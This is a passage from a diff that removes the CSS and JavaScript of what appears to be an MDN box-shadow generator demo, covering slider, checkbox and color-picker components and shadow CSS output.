-	border-radius: 3px;
-
-	display: block;
-	background-position: center center;
-	background-repeat: no-repeat;
-
-	-moz-box-sizing: border-box;
-	-webkit-box-sizing: border-box;
-	box-sizing: border-box;
-	float: left;
-}
-
-#layer_manager .button:hover {
-	background-color: #3380C4;
-	border: 1px solid #3380C4;
-	cursor: pointer;
-}
-
-#layer_manager [data-type='add'] {
-	background-image: url("https://mdn.mozillademos.org/files/5685/add-black.png");
-}
-
-#layer_manager [data-type='add']:hover {
-	background-image: url("https://mdn.mozillademos.org/files/5687/add-white.png");
-}
-
-#layer_manager [data-type='move-up'] {
-	background-image: url("https://mdn.mozillademos.org/files/5697/up-black.png");
-	margin-left: 5%;
-	margin-right: 5%;
-}
-
-#layer_manager [data-type='move-up']:hover {
-	background-image: url("https://mdn.mozillademos.org/files/5709/up-white.png");
-}
-
-#layer_manager [data-type='move-down'] {
-	background-image: url("https://mdn.mozillademos.org/files/5693/down-black.png");
-}
-
-#layer_manager [data-type='move-down']:hover {
-	background-image: url("https://mdn.mozillademos.org/files/5695/down-white.png");
-}
-
-/* shadows classes */
-
-#layer_manager .node {
-	width: 100%;
-	margin: 5px 0;
-	padding: 5px;
-	text-align: center;
-	background-color: #EEE;
-	border: 1px solid #DDD;
-	font-size: 0.75em;
-	line-height: 1.5em;
-	color: #333;
-	border-radius: 3px;
-
-	position: relative;
-	display: block;
-
-	-moz-box-sizing: border-box;
-	-webkit-box-sizing: border-box;
-	box-sizing: border-box;
-}
-
-#layer_manager .node:hover {
-	color: #FFF;
-	background-color: #3380C4;
-	cursor: pointer;
-}
-
-/* active element styling */
-
-#layer_manager [data-active='layer'] {
-	color: #FFF;
-	border: none;
-	background-color: #379B4A;
-}
-
-#layer_manager [data-active='subject'] {
-	color: #FFF;
-	background-color: #467FC9;
-}
-
-/* delete button */
-
-#layer_manager .delete {
-	width: 1.5em;
-	height: 100%;
-	float: right;
-	border-radius: 3px;
-	background-image: url("https://mdn.mozillademos.org/files/5689/delete-white.png");
-	background-position: center center;
-	background-repeat: no-repeat;
-	position: absolute;
-	top: 0;
-	right: 10px;
-	display: none;
-}
-
-#layer_manager .delete:hover {
-	background-image: url("https://mdn.mozillademos.org/files/5691/delete-yellow.png");
-}
-
-#layer_manager .node:hover .delete {
-	display: block;
-}
-
-
-#layer_manager .stack {
-	padding: 0 5px;
-	max-height: 90%;
-	overflow: auto;
-	overflow-x: hidden;
-}
-
-
-/*
- * Layer Menu
- */
-
-#layer_menu {
-	margin: 0 0 10px 0;
-	-moz-box-sizing: border-box;
-	-webkit-box-sizing: border-box;
-	box-sizing: border-box;
-}
-
-#layer_menu .button {
-	width: 100px;
-	margin: 0 5px 0 0;
-	padding: 2.5px;
-	color: #333;
-	background-color: #EEE;
-	border: 1px solid #CCC;
-	border-radius: 3px;
-	text-align: center;
-	font-size: 0.75em;
-	line-height: 1.5em;
-
-	position: relative;
-	display: block;
-	float: left;
-
-	-moz-box-sizing: border-box;
-	-webkit-box-sizing: border-box;
-	box-sizing: border-box;
-}
-
-#layer_menu .button:hover {
-	color: #FFF;
-	background-color: #3380C4;
-	border: 1px solid #3380C4;
-	cursor: pointer;
-}
-
-#layer_menu .delete {
-	width: 1.5em;
-	height: 100%;
-	float: right;
-	border-radius: 3px;
-	background-image: url("https://mdn.mozillademos.org/files/5689/delete-white.png");
-	background-position: center center;
-	background-repeat: no-repeat;
-	position: absolute;
-	top: 0;
-	right: 5px;
-	display: none;
-}
-
-#layer_menu .delete:hover {
-	background-image: url("https://mdn.mozillademos.org/files/5691/delete-yellow.png");
-}
-
-#layer_menu .button:hover .delete {
-	display: block;
-}
-
-
-/*
- * active element styling
- */
-
-#layer_menu [data-active='subject'] {
-	color: #FFF;
-	background-color: #379B4A;
-	border: 1px solid #379B4A;
-}
-
-
-/* Checkbox */
-
-#layer_menu .ui-checkbox > label {
-	height: 15px;
-	line-height: 17px;
-	font-weight: normal;
-	width: 46px;
-	margin: 0 5px 0 0;
-}
-
-#layer_menu .ui-checkbox > input:checked + label {
-	display: none;
-}
-
-
-/******************************************************************************/
-/******************************************************************************/
-/*
- * Preview Area
- */
-
-#preview_zone {
-	width: 82%;
-	float: left;
-
-}
-
-
-#preview {
-	width: 100%;
-	height: 400px;
-	border: 1px solid #CCC;
-	border-radius: 3px;
-	text-align: center;
-
-	-moz-box-sizing: border-box;
-	-webkit-box-sizing: border-box;
-	box-sizing: border-box;
-	cursor: move;
-	float: left;
-}
-
-#preview .content {
-	width: 100%;
-	height: 100%;
-	display: block;
-}
-
-#obj-element {
-	width: 300px;
-	height: 100px;
-	border: 1px solid #CCC;
-	background: #FFF;
-	position: relative;
-}
-
-
-#obj-before {
-	height: 100%;
-	width: 100%;
-	background: #999;
-	border: 1px solid #CCC;
-	text-align: left;
-	display : block;
-	position: absolute;
-	z-index: -1;
-}
-
-#obj-after {
-	height: 100%;
-	width: 100%;
-	background: #DDD;
-	border: 1px solid #CCC;
-	text-align: right;
-	display : block;
-	position: absolute;
-	z-index: -1;
-}
-
-
-/******************************************************************************/
-/******************************************************************************/
-
-/**
- * Controls
- */
-
-.wrap-left {
-	float: left;
-	overflow: hidden;
-}
-
-.wrap-right {
-	float: right;
-	overflow: hidden;
-}
-
-.wrap-left > * {
-	float: left;
-}
-
-.wrap-right > * {
-	float: right;
-}
-
-@media (min-width: 960px) {
-
-	.wrap-left {
-		width: 45%;
-	}
-
-	.wrap-right {
-		width: 55%;
-	}
-}
-
-
-@media (max-width: 959px) {
-
-	.wrap-left {
-		width: 30%;
-	}
-
-	.wrap-right {
-		width: 70%;
-	}
-}
-
-
-#controls {
-	color: #444;
-	margin: 10px 0 0 0;
-}
-
-
-#controls .category {
-	width: 500px;
-	margin: 0 auto 20px;
-	padding: 0;
-
-}
-
-#controls .category .title {
-	width: 100%;
-	height: 1.5em;
-	line-height: 1.5em;
-	color: #AAA;
-	text-align: right;
-}
-
-#controls .category > .group {
-	border: 1px solid #CCC;
-	border-radius: 3px;
-}
-
-
-/**
- * 	Color Picker
- */
-
-@media (min-width: 960px) {
-	#controls .colorpicker {
-		width: 420px;
-	}
-}
-
-@media (max-width: 959px) {
-	#controls .colorpicker {
-		width: 210px;
-	}
-}
-
-#colorpicker {
-	width: 100%;
-	margin: 0 auto;
-}
-
-#colorpicker .gradient {
-	width: 200px;
-	height: 200px;
-	margin: 5px;
-	background: url("https://mdn.mozillademos.org/files/5707/picker_mask_200.png");
-	background: -moz-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%),
-				-moz-linear-gradient(left, #FFF 0%, rgba(255, 255, 255, 0) 100%);
-	background: -webkit-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%),
-				-webkit-linear-gradient(left, #FFF 0%, rgba(255, 255, 255, 0) 100%);
-	background-color: #F00;
-	float: left;
-}
-
-#colorpicker .hue {
-	width: 200px;
-	height: 30px;
-	margin: 5px;
-	background: url("https://mdn.mozillademos.org/files/5701/hue.png");
-	background: -moz-linear-gradient(left, #F00 0%, #FF0 16.66%, #0F0 33.33%, #0FF 50%,
-				#00F 66.66%, #F0F 83.33%, #F00 100%);
-	background: -webkit-linear-gradient(left, #F00 0%, #FF0 16.66%, #0F0 33.33%, #0FF 50%,
-				#00F 66.66%, #F0F 83.33%, #F00 100%);
-	float: left;
-}
-
-#colorpicker .alpha {
-	width: 200px;
-	height: 30px;
-	margin: 5px;
-	border: 1px solid #CCC;
-	float: left;
-	background: url("https://mdn.mozillademos.org/files/5705/alpha.png");
-
-	-moz-box-sizing: border-box;
-	-webkit-box-sizing: border-box;
-	box-sizing: border-box;
-}
-
-#colorpicker #alpha {
-	width: 100%;
-	height: 100%;
-	background: url("https://mdn.mozillademos.org/files/5703/alpha_mask.png");
-	background: -moz-linear-gradient(left, rgba(255, 0, 0, 0) 0%, rgba(255, 0, 0, 1) 100%);
-}
-
-#colorpicker #gradient_picker {
-	width: 0.5em;
-	height: 0.5em;
-	border-radius: 0.4em;
-	border: 2px solid #CCC;
-	position: relative;
-	top: 20%;
-	left: 20%;
-}
-
-#colorpicker #hue_selector,
-#colorpicker #alpha_selector {
-	width: 3px;
-	height: 100%;
-	border: 1px solid #777;
-	background-color: #FFF;
-	position: relative;
-	top: -1px;
-	left: 0%;
-}
-
-/* input HSV and RGB */
-#colorpicker .info {
-	width: 200px;
-	margin: 5px;
-	float: left;
-}
-
-#colorpicker .info * {
-	float: left;
-}
-
-#colorpicker .info input {
-	margin: 0;
-	text-align: center;
-	width: 30px;
-	-moz-user-select: text;
-	-webkit-user-select: text;
-	-ms-user-select: text;
-}
-
-#colorpicker .info span {
-	height: 20px;
-	width: 30px;
-	text-align: center;
-	line-height: 20px;
-	display: block;
-}
-
-/* Preview color */
-#colorpicker .block {
-	width: 95px;
-	height: 54px;
-	float: left;
-	position: relative;
-}
-
-#colorpicker .preview {
-	margin: 5px;
-	border: 1px solid #CCC;
-	background-image: url("https://mdn.mozillademos.org/files/5705/alpha.png");
-
-	-moz-box-sizing: border-box;
-	-webkit-box-sizing: border-box;
-	box-sizing: border-box;
-}
-
-#colorpicker .preview:before {
-	height: 100%;
-	width: 50%;
-	left: 50%;
-	content: "";
-	background: #FFF;
-	position: absolute;
-	z-index: 1;
-}
-
-#colorpicker .preview > * {
-	width: 50%;
-	height: 100%;
-}
-
-#colorpicker #output_color {
-	width: 100%;
-	height: 100%;
-	position: absolute;
-	z-index: 2;
-}
-
-#colorpicker .block .input {
-	float: right;
-}
-
-#colorpicker [data-topic="a"] > span {
-	width: 50px;
-}
-
-#colorpicker [data-topic="hexa"] {
-	float: right;
-	margin: 10px 0 0 0;
-}
-
-#colorpicker [data-topic="hexa"] > span {
-	display: none;
-}
-
-#colorpicker [data-topic="hexa"] > input {
-	width: 85px;
-	padding: 2px 0;
-	-moz-box-sizing: border-box;
-	-webkit-box-sizing: border-box;
-	box-sizing: border-box;
-}
-
-
-/*
- * UI Components
- */
-
-/* Property */
-
-.property {
-	height: 20px;
-	margin: 10px 0;
-}
-
-.property * {
-	float: left;
-	height: 100%;
-	line-height: 100%;
-}
-
-/* Slider */
-
-#controls .ui-slider-name {
-	margin: 0 10px 0 0;
-}
-
-/*
- * Output code styling
- */
-
-#output {
-	position: relative;
-}
-
-#output .menu {
-	max-width: 70%;
-	height: 20px;
-	position: absolute;
-	top: 2px;
-}
-
-#output .button {
-	width: 90px;
-	height: 22px;
-	margin: 0 5px 0 0;
-	text-align: center;
-	line-height: 20px;
-	font-size: 14px;
-	color: #FFF;
-	background-color: #999;
-	border-top-left-radius: 3px;
-	border-top-right-radius: 3px;
-	bottom: -5px;
-	float:left;
-}
-
-#output .button:hover {
-	color: #FFF;
-	background-color: #666;
-	cursor: pointer;
-}
-
-#output .menu [data-active="true"] {
-	color: #777;
-	background-color: #FFF;
-	border: 1px solid #CCC;
-	border-bottom: none;
-}
-
-#output .menu [data-topic="before"] {
-	left: 100px;
-}
-
-#output .menu [data-topic="after"] {
-	left: 200px;
-}
-
-#output .output {
-	width: 480px;
-	margin: 10px;
-	padding: 10px;
-	overflow: hidden;
-	color: #555;
-	font-size: 14px;
-	border: 1px dashed #CCC;
-	border-radius: 3px;
-	display: none;
-
-	-moz-box-sizing: border-box;
-	-webkit-box-sizing: border-box;
-	box-sizing: border-box;
-
-	-moz-user-select: text;
-	-webkit-user-select: text;
-	-ms-user-select: text;
-}
-
-#output .css-property {
-	width: 100%;
-	float: left;
-	white-space: pre;
-}
-
-#output .name {
-	width: 35%;
-	float: left;
-}
-
-#output .value {
-	width: 65%;
-	float: left;
-}
-
-
- -

JavaScript Content

- -

-
-'use strict';
-
-/**
- * UI-SlidersManager
- */
-
-var SliderManager = (function SliderManager() {
-
-	var subscribers = {};
-	var sliders = [];
-
-	var Slider = function(node) {
-		var min = node.getAttribute('data-min') | 0;
-		var max = node.getAttribute('data-max') | 0;
-		var step = node.getAttribute('data-step') | 0;
-		var value = node.getAttribute('data-value') | 0;
-		var snap = node.getAttribute('data-snap');
-		var topic = node.getAttribute('data-topic');
-
-		this.min = min;
-		this.max = max > 0 ? max : 100;
-		this.step = step === 0 ? 1 : step;
-		this.value = value <= max && value >= min ? value : (min + max) / 2 | 0;
-		this.snap = snap === "true" ? true : false;
-		this.topic = topic;
-		this.node = node;
-
-		var pointer = document.createElement('div');
-		pointer.className = 'ui-slider-pointer';
-		node.appendChild(pointer);
-		this.pointer = pointer;
-
-		setMouseTracking(node, updateSlider.bind(this));
-
-		sliders[topic] = this;
-		setValue(topic, this.value);
-	}
-
-	var setButtonComponent = function setButtonComponent(node) {
-		var type = node.getAttribute('data-type');
-		var topic = node.getAttribute('data-topic');
-		if (type === "sub") {
-			node.textContent = '-';
-			node.addEventListener("click", function() {
-				decrement(topic);
-			});
-		}
-		if (type === "add") {
-			node.textContent = '+';
-			node.addEventListener("click", function() {
-				increment(topic);
-			});
-		}
-	}
-
-	var setInputComponent = function setInputComponent(node) {
-		var topic		= node.getAttribute('data-topic');
-		var unit_type	= node.getAttribute('data-unit');
-
-		var input = document.createElement('input');
-		var unit = document.createElement('span');
-		unit.textContent = unit_type;
-
-		input.setAttribute('type', 'text');
-		node.appendChild(input);
-		node.appendChild(unit);
-
-		input.addEventListener('click', function(e) {
-			this.select();
-		});
-
-		input.addEventListener('change', function(e) {
-			setValue(topic, e.target.value | 0);
-		});
-
-		subscribe(topic, function(value) {
-			node.children[0].value = value;
-		});
-	}
-
-	var increment = function increment(topic) {
-		var slider = sliders[topic];
-		if (slider === null || slider === undefined)
-			return;
-
-		if (slider.value + slider.step <= slider.max) {
-			slider.value += slider.step;
-			setValue(slider.topic, slider.value)
-			notify.call(slider);
-		}
-	};
-
-	var decrement = function decrement(topic) {
-		var slider = sliders[topic];
-		if (slider === null || slider === undefined)
-			return;
-
-		if (slider.value - slider.step >= slider.min) {
-			slider.value -= slider.step;
-			setValue(topic, slider.value)
-			notify.call(slider);
-		}
-	}
-
-	// this = Slider object
-	var updateSlider = function updateSlider(e) {
-		var node = this.node;
-		var pos = e.pageX - node.offsetLeft;
-		var width = node.clientWidth;
-		var delta = this.max - this.min;
-		var offset = this.pointer.clientWidth + 4; // border width * 2
-
-		if (pos < 0) pos = 0;
-		if (pos > width) pos = width;
-
-		var value = pos * delta / width | 0;
-		var precision = value % this.step;
-		value = value - precision + this.min;
-		if (precision > this.step / 2)
-			value = value + this.step;
-
-		if (this.snap)
-			pos =  (value - this.min) * width / delta;
-
-		this.pointer.style.left = pos - offset/2 + "px";
-		this.value = value;
-		node.setAttribute('data-value', value);
-		notify.call(this);
-	}
-
-	var setValue = function setValue(topic, value) {
-		var slider = sliders[topic];
-
-		if (value > slider.max || value < slider.min)
-			return;
-
-		var delta = slider.max - slider.min;
-		var width = slider.node.clientWidth;
-		var offset = slider.pointer.clientWidth;
-		var pos =  (value - slider.min) * width / delta;
-		slider.value = value;
-		slider.pointer.style.left = pos - offset / 2 + "px";
-		slider.node.setAttribute('data-value', value);
-		notify.call(slider);
-	}
-
-	var setMouseTracking = function setMouseTracking(elem, callback) {
-		elem.addEventListener("mousedown", function(e) {
-			callback(e);
-			document.addEventListener("mousemove", callback);
-		});
-
-		document.addEventListener("mouseup", function(e) {
-			document.removeEventListener("mousemove", callback);
-		});
-	}
-
-	var subscribe = function subscribe(topic, callback) {
-		if (subscribers[topic] === undefined)
-			subscribers[topic] = [];
-		subscribers[topic].push(callback);
-	}
-
-	var unsubscribe = function unsubscribe(topic, callback) {
-		subscribers[topic].indexOf(callback);
-		subscribers[topic].splice(index, 1);
-	}
-
-	var notify = function notify() {
-		if (subscribers[this.topic] === undefined)
-			return;
-
-		for (var i in subscribers[this.topic]) {
-			subscribers[this.topic][i](this.value);
-		}
-	}
-
-	var init = function init() {
-		var elem, size;
-
-		elem = document.querySelectorAll('.ui-slider-btn-set');
-		size = elem.length;
-		for (var i = 0; i < size; i++)
-			setButtonComponent(elem[i]);
-
-		elem = document.querySelectorAll('.ui-slider-input');
-		size = elem.length;
-		for (var i = 0; i < size; i++)
-			setInputComponent(elem[i]);
-
-		elem = document.querySelectorAll('.ui-slider');
-		size = elem.length;
-		for (var i = 0; i < size; i++)
-			new Slider(elem[i]);
-	}
-
-	return {
-		init : init,
-		setValue : setValue,
-		subscribe : subscribe,
-		unsubscribe : unsubscribe
-	}
-
-})();
-
-/**
- * UI-ButtonManager
- */
-
-var ButtonManager = (function CheckBoxManager() {
-
-	var subscribers = [];
-	var buttons = [];
-
-	var CheckBox = function CheckBox(node) {
-		var topic = node.getAttribute('data-topic');
-		var state = node.getAttribute('data-state');
-		var name = node.getAttribute('data-label');
-		var align = node.getAttribute('data-text-on');
-
-		state = (state === "true");
-
-		var checkbox = document.createElement("input");
-		var label = document.createElement("label");
-
-		var id = 'checkbox-' + topic;
-		checkbox.id = id;
-		checkbox.setAttribute('type', 'checkbox');
-		checkbox.checked = state;
-
-		label.setAttribute('for', id);
-		if (name) {
-			label.className = 'text';
-			if (align)
-				label.className += ' ' + align;
-			label.textContent = name;
-		}
-
-		node.appendChild(checkbox);
-		node.appendChild(label);
-
-		this.node = node;
-		this.topic = topic;
-		this.checkbox = checkbox;
-
-		checkbox.addEventListener('change', function(e) {
-			notify.call(this);
-		}.bind(this));
-
-		buttons[topic] = this;
-	}
-
-	var getNode =  function getNode(topic) {
-		return buttons[topic].node;
-	}
-
-	var setValue = function setValue(topic, value) {
-		try {
-			buttons[topic].checkbox.checked = value;
-			notify.call(buttons[topic]);
-		}
-		catch(error) {
-			console.log(error, topic, value);
-		}
-	}
-
-	var subscribe = function subscribe(topic, callback) {
-		if (subscribers[topic] === undefined)
-			subscribers[topic] = [];
-
-		subscribers[topic].push(callback);
-	}
-
-	var unsubscribe = function unsubscribe(topic, callback) {
-		subscribers[topic].indexOf(callback);
-		subscribers[topic].splice(index, 1);
-	}
-
-	var notify = function notify() {
-		if (subscribers[this.topic] === undefined)
-			return;
-		for (var i = 0; i < subscribers[this.topic].length; i++)
-			subscribers[this.topic][i](this.checkbox.checked);
-	}
-
-	var init = function init() {
-		var elem = document.querySelectorAll('.ui-checkbox');
-		var size = elem.length;
-		for (var i = 0; i < size; i++)
-			new CheckBox(elem[i]);
-	}
-
-	return {
-		init : init,
-		setValue : setValue,
-		subscribe : subscribe,
-		unsubscribe : unsubscribe
-	}
-
-})();
-
-
-window.addEventListener("load", function(){
-	BoxShadow.init();
-});
-
-var BoxShadow = (function BoxShadow() {
-
-	function getElemById(id) {
-		return document.getElementById(id);
-	}
-
-	/**
-	 * RGBA Color class
-	 */
-
-	function Color() {
-		this.r = 0;
-		this.g = 0;
-		this.b = 0;
-		this.a = 1;
-		this.hue = 0;
-		this.saturation = 0;
-		this.value = 0;
-	}
-
-	Color.prototype.copy = function copy(obj) {
-		if(obj instanceof Color !== true) {
-			console.log("Typeof instance not Color");
-			return;
-		}
-
-		this.r = obj.r;
-		this.g = obj.g;
-		this.b = obj.b;
-		this.a = obj.a;
-		this.hue = obj.hue;
-		this.saturation = obj.saturation;
-		this.value = obj.value;
-	}
-
-	Color.prototype.setRGBA = function setRGBA(red, green, blue, alpha) {
-		if (red != undefined)
-			this.r = red | 0;
-		if (green != undefined)
-			this.g = green | 0;
-		if (blue != undefined)
-			this.b = blue | 0;
-		if (alpha != undefined)
-			this.a = alpha | 0;
-	}
-
-	/**
-	 * HSV/HSB (hue, saturation, value / brightness)
-	 * @param hue			0-360
-	 * @param saturation	0-100
-	 * @param value 		0-100
-	 */
-	Color.prototype.setHSV = function setHSV(hue, saturation, value) {
-		this.hue = hue;
-		this.saturation = saturation;
-		this.value = value;
-		this.updateRGB();
-	}
-
-	Color.prototype.updateRGB = function updateRGB() {
-		var sat = this.saturation / 100;
-		var value = this.value / 100;
-		var C = sat * value;
-		var H = this.hue / 60;
-		var X = C * (1 - Math.abs(H % 2 - 1));
-		var m = value - C;
-		var precision = 255;
-
-		C = (C + m) * precision;
-		X = (X + m) * precision;
-		m = m * precision;
-
-		if (H >= 0 && H < 1) {	this.setRGBA(C, X, m);	return; }
-		if (H >= 1 && H < 2) {	this.setRGBA(X, C, m);	return; }
-		if (H >= 2 && H < 3) {	this.setRGBA(m, C, X);	return; }
-		if (H >= 3 && H < 4) {	this.setRGBA(m, X, C);	return; }
-		if (H >= 4 && H < 5) {	this.setRGBA(X, m, C);	return; }
-		if (H >= 5 && H < 6) {	this.setRGBA(C, m, X);	return; }
-	}
-
-	Color.prototype.updateHSV = function updateHSV() {
-		var red		= this.r / 255;
-		var green	= this.g / 255;
-		var blue	= this.b / 255;
-
-		var cmax = Math.max(red, green, blue);
-		var cmin = Math.min(red, green, blue);
-		var delta = cmax - cmin;
-		var hue = 0;
-		var saturation = 0;
-
-		if (delta) {
-			if (cmax === red ) { hue = ((green - blue) / delta); }
-			if (cmax === green ) { hue = 2 + (blue - red) / delta; }
-			if (cmax === blue ) { hue = 4 + (red - green) / delta; }
-			if (cmax) saturation = delta / cmax;
-		}
-
-		this.hue = 60 * hue | 0;
-		if (this.hue < 0) this.hue += 360;
-		this.saturation = (saturation * 100) | 0;
-		this.value = (cmax * 100) | 0;
-	}
-
-	Color.prototype.setHexa = function setHexa(value) {
-		var valid  = /(^#{0,1}[0-9A-F]{6}$)|(^#{0,1}[0-9A-F]{3}$)/i.test(value)
-		if (valid !== true)
-			return;
-
-		if (value[0] === '#')
-			value = value.slice(1, value.length);
-
-		if (value.length === 3)
-			value = value.replace(/([0-9A-F])([0-9A-F])([0-9A-F])/i,"$1$1$2$2$3$3");
-
-		this.r = parseInt(value.substr(0, 2), 16);
-		this.g = parseInt(value.substr(2, 2), 16);
-		this.b = parseInt(value.substr(4, 2), 16);
-
-		this.alpha	= 1;
-	}
-
-	Color.prototype.getHexa = function getHexa() {
-		var r = this.r.toString(16);
-		var g = this.g.toString(16);
-		var b = this.b.toString(16);
-		if (this.r < 16) r = '0' + r;
-		if (this.g < 16) g = '0' + g;
-		if (this.b < 16) b = '0' + b;
-		var value = '#' + r + g + b;
-		return value.toUpperCase();
-	}
-
-	Color.prototype.getRGBA = function getRGBA() {
-
-		var rgb = "(" + this.r + ", " + this.g + ", " + this.b;
-		var a = '';
-		var v = '';
-		if (this.a !== 1) {
-			a = 'a';
-			v = ', ' + this.a;
-		}
-
-		var value = "rgb" + a + rgb + v + ")";
-		return value;
-	}
-
-	Color.prototype.getColor = function getColor() {
-		if (this.a | 0 === 1)
-			return this.getHexa();
-		return this.getRGBA();
-	}
-
-	/**
-	 * Shadow Object
-	 */
-	function Shadow() {
-		this.inset  = false;
-		this.posX   = 5;
-		this.posY   = -5;
-		this.blur   = 5;
-		this.spread = 0;
-		this.color  = new Color();
-
-		var hue			= (Math.random() * 360) | 0;
-		var saturation	= (Math.random() * 75) | 0;
-		var value 		= (Math.random() * 50 + 50) | 0;
-		this.color.setHSV(hue, saturation, value, 1);
-	}
-
-	Shadow.prototype.computeCSS = function computeCSS() {
-		var value = "";
-		if (this.inset === true)
-			value += "inset ";
-		value += this.posX + "px ";
-		value += this.posY + "px ";
-		value += this.blur + "px ";
-		value += this.spread + "px ";
-		value += this.color.getColor();
-
-		return value;
-	}
-
-	Shadow.prototype.toggleInset = function toggleInset(value) {
-		if (value !== undefined || typeof value === "boolean")
-			this.inset = value;
-		else
-			this.inset = this.inset === true ? false : true;
-	}
-
-	Shadow.prototype.copy = function copy(obj) {
-		if(obj instanceof Shadow !== true) {
-			console.log("Typeof instance not Shadow");
-			return;
-		}
-
-		this.inset  = obj.inset;
-		this.posX   = obj.posX;
-		this.posY   = obj.posY;
-		this.blur   = obj.blur;
-		this.spread = obj.spread;
-		this.color.copy(obj.color);
-	}
-
-	/**
-	 * Color Picker
-	 */
-	var ColoPicker = (function ColoPicker() {
-
-		var colorpicker;
-		var hue_area;
-		var gradient_area;
-		var alpha_area;
-		var gradient_picker;
-		var hue_selector;
-		var alpha_selector;
-		var pick_object;
-		var info_rgb;
-		var info_hsv;
-		var info_hexa;
-		var output_color;
-		var color = new Color();
-		var subscribers = [];
-
-		var updateColor = function updateColor(e) {
-			var x = e.pageX - gradient_area.offsetLeft;
-			var y = e.pageY - gradient_area.offsetTop;
-
-			// width and height should be the same
-			var size = gradient_area.clientWidth;
-
-			if (x > size)
-				x = size;
-			if (y > size)
-				y = size;
-
-			if (x < 0) x = 0;
-			if (y < 0) y = 0;
-
-			var value = 100 - (y * 100 / size) | 0;
-			var saturation = x * 100 / size | 0;
-
-			color.setHSV(color.hue, saturation, value);
-			// should update just
-			// color pointer location
-			updateUI();
-			notify("color", color);
-		}
-
-		var updateHue = function updateHue(e) {
-			var x = e.pageX - hue_area.offsetLeft;
-			var width = hue_area.clientWidth;
-
-			if (x < 0) x = 0;
-			if (x > width) x = width;
-
-			var hue = ((360 * x) / width) | 0;
-			if (hue === 360) hue = 359;
-
-			color.setHSV(hue, color.saturation, color.value);
-
-			// should update just
-			// hue pointer location
-			// picker area background
-			// alpha area background
-			updateUI();
-			notify("color", color);
-		}
-
-		var updateAlpha = function updateAlpha(e) {
-			var x = e.pageX - alpha_area.offsetLeft;
-			var width = alpha_area.clientWidth;
-
-			if (x < 0) x = 0;
-			if (x > width) x = width;
-
-			color.a = (x / width).toFixed(2);
-
-			// should update just
-			// alpha pointer location
-			updateUI();
-			notify("color", color);
-		}
-
-		var setHueGfx = function setHueGfx(hue) {
-			var sat = color.saturation;
-			var val = color.value;
-			var alpha = color.a;
-
-			color.setHSV(hue, 100, 100);
-			gradient_area.style.backgroundColor = color.getHexa();
-
-			color.a = 0;
-			var start = color.getRGBA();
-			color.a = 1;
-			var end = color.getRGBA();
-			color.a = alpha;
-
-			var gradient = '-moz-linear-gradient(left, ' +	start + '0%, ' + end + ' 100%)';
-			alpha_area.style.background = gradient;
-		}
-
-		var updateUI = function updateUI() {
-			var x, y;		// coordinates
-			var size;		// size of the area
-			var offset;		// pointer graphic selector offset
-
-			// Set color pointer location
-			size = gradient_area.clientWidth;
-			offset = gradient_picker.clientWidth / 2 + 2;
-
-			x = (color.saturation * size / 100) | 0;
-			y = size - (color.value * size / 100) | 0;
-
-			gradient_picker.style.left = x - offset + "px";
-			gradient_picker.style.top = y - offset + "px";
-
-			// Set hue pointer location
-			size = hue_area.clientWidth;
-			offset = hue_selector.clientWidth/2;
-			x = (color.hue * size / 360 ) | 0;
-			hue_selector.style.left = x - offset + "px";
-
-			// Set alpha pointer location
-			size = alpha_area.clientWidth;
-			offset = alpha_selector.clientWidth/2;
-			x = (color.a * size) | 0;
-			alpha_selector.style.left = x - offset + "px";
-
-			// Set picker area background
-			var nc = new Color();
-			nc.copy(color);
-			if (nc.hue === 360) nc.hue = 0;
-			nc.setHSV(nc.hue, 100, 100);
-			gradient_area.style.backgroundColor = nc.getHexa();
-
-			// Set alpha area background
-			nc.copy(color);
-			nc.a = 0;
-			var start = nc.getRGBA();
-			nc.a = 1;
-			var end = nc.getRGBA();
-			var gradient = '-moz-linear-gradient(left, ' +	start + '0%, ' + end + ' 100%)';
-			alpha_area.style.background = gradient;
-
-			// Update color info
-			notify("color", color);
-			notify("hue", color.hue);
-			notify("saturation", color.saturation);
-			notify("value", color.value);
-			notify("r", color.r);
-			notify("g", color.g);
-			notify("b", color.b);
-			notify("a", color.a);
-			notify("hexa", color.getHexa());
-			output_color.style.backgroundColor = color.getRGBA();
-		}
-
-		var setInputComponent = function setInputComponent(node) {
-			var topic = node.getAttribute('data-topic');
-			var title = node.getAttribute('data-title');
-			var action = node.getAttribute('data-action');
-			title = title === null ? '' : title;
-
-			var input = document.createElement('input');
-			var info = document.createElement('span');
-			info.textContent = title;
-
-			input.setAttribute('type', 'text');
-			input.setAttribute('data-action', 'set-' + action + '-' + topic);
-			node.appendChild(info);
-			node.appendChild(input);
-
-			input.addEventListener('click', function(e) {
-				this.select();
-			});
-
-			input.addEventListener('change', function(e) {
-				if (action === 'HSV')
-					inputChangeHSV(topic);
-				if (action === 'RGB')
-					inputChangeRGB(topic);
-				if (action === 'alpha')
-					inputChangeAlpha(topic);
-				if (action === 'hexa')
-					inputChangeHexa(topic);
-			});
-
-			subscribe(topic, function(value) {
-				node.children[1].value = value;
-			});
-		}
-
-		var inputChangeHSV = function actionHSV(topic) {
-			var selector = "[data-action='set-HSV-" + topic + "']";
-			var node = document.querySelector("#colorpicker " + selector);
-			var value = parseInt(node.value);
-
-			if (typeof value === 'number' && isNaN(value) === false &&
-				value >= 0 && value < 360)
-				color[topic] = value;
-
-			color.updateRGB();
-			updateUI();
-		}
-
-		var inputChangeRGB = function inputChangeRGB(topic) {
-			var selector = "[data-action='set-RGB-" + topic + "']";
-			var node = document.querySelector("#colorpicker " + selector);
-			var value = parseInt(node.value);
-
-			if (typeof value === 'number' && isNaN(value) === false &&
-				value >= 0 && value <= 255)
-				color[topic] = value;
-
-			color.updateHSV();
-			updateUI();
-		}
-
-		var inputChangeAlpha = function inputChangeAlpha(topic) {
-			var selector = "[data-action='set-alpha-" + topic + "']";
-			var node = document.querySelector("#colorpicker " + selector);
-			var value = parseFloat(node.value);
-
-			if (typeof value === 'number' && isNaN(value) === false &&
-				value >= 0 && value <= 1)
-				color.a = value.toFixed(2);
-
-			updateUI();
-		}
-
-		var inputChangeHexa = function inputChangeHexa(topic) {
-			var selector = "[data-action='set-hexa-" + topic + "']";
-			var node = document.querySelector("#colorpicker " + selector);
-			var value = node.value;
-			color.setHexa(value);
-			color.updateHSV();
-			updateUI();
-		}
-
-		var setMouseTracking = function setMouseTracking(elem, callback) {
-
-			elem.addEventListener("mousedown", function(e) {
-				callback(e);
-				document.addEventListener("mousemove", callback);
-			});
-
-			document.addEventListener("mouseup", function(e) {
-				document.removeEventListener("mousemove", callback);
-			});
-		}
-
-		/*
-		 * Observer
-		 */
